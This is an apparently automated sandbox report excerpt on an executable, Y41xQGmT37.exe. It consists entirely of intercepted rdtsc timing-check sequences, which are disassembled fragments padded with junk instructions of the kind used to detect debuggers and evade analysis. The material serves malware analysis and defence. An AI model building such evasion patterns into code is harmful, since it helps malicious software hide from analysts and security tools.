Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEAE50 second address: DEAE9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F28E4D0ABC4h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jp 00007F28E4D0ABBCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jc 00007F28E4D0ABB6h 0x0000001c jmp 00007F28E4D0ABC9h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEB04D second address: DEB057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEB17E second address: DEB19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F28E4D0ABC7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEBD31 second address: DEBDA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5849h 0x00000007 jl 00007F28E4BE5836h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F28E4BE5849h 0x00000017 jno 00007F28E4BE5836h 0x0000001d popad 0x0000001e jmp 00007F28E4BE5843h 0x00000023 popad 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 je 00007F28E4BE5836h 0x0000002d jmp 00007F28E4BE583Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEF7EF second address: DEF7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEF7F3 second address: DEF7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEF592 second address: DEF597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DEF597 second address: DEF59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DF8550 second address: DF8558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DF8558 second address: DF8586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F28E4BE5836h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F28E4BE5848h 0x00000017 pop eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFEF89 second address: DFEF8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFEF8F second address: DFEF9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFEF9A second address: DFEFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E02160 second address: E02166 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E01FC8 second address: E01FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E01FCE second address: E01FE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Ch 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E01FE3 second address: E01FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E01FF0 second address: E01FFE instructions: 0x00000000 rdtsc 0x00000002 js 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E01FFE second address: E02008 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F28E4D0ABB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E02008 second address: E0200E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E0200E second address: E02015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E02015 second address: E0201B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFC7AF second address: DFC7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edi 0x0000000c push edx 0x0000000d jnp 00007F28E4D0ABBEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFC7C4 second address: DFC7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: DFC7D0 second address: DFC7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E0E6E1 second address: E0E710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F28E4BE584Bh 0x0000000c jne 00007F28E4BE5836h 0x00000012 jmp 00007F28E4BE583Fh 0x00000017 jo 00007F28E4BE583Ah 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E0E710 second address: E0E716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E0E26A second address: E0E270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E22D2C second address: E22D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E22D30 second address: E22D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E22E8F second address: E22EA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F28E4D0ABBBh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F28E4D0ABB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E22EA6 second address: E22EC1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F28E4BE5836h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F28E4BE583Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E23184 second address: E23188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E232F7 second address: E232FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E232FD second address: E23310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABBFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E23310 second address: E2331F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F28E4BE5836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E234B1 second address: E234B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E234B7 second address: E234C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E235F1 second address: E23618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F28E4D0ABB6h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E23618 second address: E23622 instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E23622 second address: E23639 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC0h 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E237A3 second address: E237A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E237A8 second address: E237AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E237AE second address: E237B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E265F1 second address: E265F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E265F7 second address: E2660A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F28E4BE5838h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E2660A second address: E2661E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E2661E second address: E26624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E26624 second address: E26628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E27E09 second address: E27E0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E299FF second address: E29A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABBDh 0x00000009 jmp 00007F28E4D0ABC4h 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jnp 00007F28E4D0ABB6h 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E29A32 second address: E29A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E29A38 second address: E29A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E295C6 second address: E295D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F28E4BE5836h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E295D2 second address: E295F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jns 00007F28E4D0ABB6h 0x00000010 jmp 00007F28E4D0ABC3h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E295F7 second address: E295FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E295FC second address: E29602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E29602 second address: E2962C instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4BE5836h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007F28E4BE5860h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F28E4BE5842h 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: E2962C second address: E29636 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F28E4D0ABB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F60334 second address: 4F6033A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F6033A second address: 4F6033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F6033E second address: 4F60342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F8073D second address: 4F8074C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F8074C second address: 4F807F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 7BF1B98Ah 0x00000008 mov dx, E456h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F28E4BE5844h 0x0000001b add ax, 9E78h 0x00000020 jmp 00007F28E4BE583Bh 0x00000025 popfd 0x00000026 mov ecx, 2AE9E1AFh 0x0000002b popad 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e jmp 00007F28E4BE5842h 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 movzx esi, dx 0x00000039 mov bh, B2h 0x0000003b popad 0x0000003c xchg eax, ecx 0x0000003d pushad 0x0000003e mov di, cx 0x00000041 mov si, 2323h 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 mov ax, dx 0x0000004b pushfd 0x0000004c jmp 00007F28E4BE583Bh 0x00000051 jmp 00007F28E4BE5843h 0x00000056 popfd 0x00000057 popad 0x00000058 xchg eax, ecx 0x00000059 jmp 00007F28E4BE5846h 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F807F8 second address: 4F807FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F807FE second address: 4F8086F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F28E4BE5840h 0x0000000b or ah, 00000028h 0x0000000e jmp 00007F28E4BE583Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 movsx ebx, si 0x0000001c pushfd 0x0000001d jmp 00007F28E4BE5840h 0x00000022 adc cl, FFFFFF88h 0x00000025 jmp 00007F28E4BE583Bh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, esi 0x0000002d pushad 0x0000002e mov cl, 13h 0x00000030 popad 0x00000031 lea eax, dword ptr [ebp-04h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F28E4BE5849h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F8086F second address: 4F808FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F28E4D0ABBEh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F28E4D0ABC1h 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 pushfd 0x0000001a jmp 00007F28E4D0ABC7h 0x0000001f sbb ecx, 72435DEEh 0x00000025 jmp 00007F28E4D0ABC9h 0x0000002a popfd 0x0000002b popad 0x0000002c nop 0x0000002d jmp 00007F28E4D0ABBEh 0x00000032 push dword ptr [ebp+08h] 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 mov ax, 0E03h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80946 second address: 4F8094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F8094B second address: 4F80951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80951 second address: 4F80955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80955 second address: 4F8099F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F28E4D0ABC3h 0x00000016 jmp 00007F28E4D0ABC3h 0x0000001b popfd 0x0000001c mov eax, 0B758EDFh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F8099F second address: 4F809CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5845h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F28E4BE586Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F28E4BE583Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F809CD second address: 4F809D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F809D3 second address: 4F809D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F809D7 second address: 4F809DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A0D second address: 4F80A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A13 second address: 4F80A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push esi 0x0000000c call 00007F28E4D0ABBDh 0x00000011 pop eax 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 mov edx, esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A3B second address: 4F80A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A3F second address: 4F80A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 leave 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28E4D0ABBEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A59 second address: 4F80A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A5D second address: 4F80A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A63 second address: 4F80A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A69 second address: 4F80A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80A6D second address: 4F70235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 jmp 00007F28E4BE5832h 0x00000014 xor ebx, ebx 0x00000016 test al, 01h 0x00000018 jne 00007F28E4BE5837h 0x0000001a sub esp, 04h 0x0000001d mov dword ptr [esp], 0000000Dh 0x00000024 call 00007F28E8FE3046h 0x00000029 mov edi, edi 0x0000002b pushad 0x0000002c mov edx, ecx 0x0000002e pushad 0x0000002f mov cx, 0FFDh 0x00000033 mov esi, 5F44AEF9h 0x00000038 popad 0x00000039 popad 0x0000003a xchg eax, ebp 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push ebx 0x0000003f pop eax 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 rdtsc
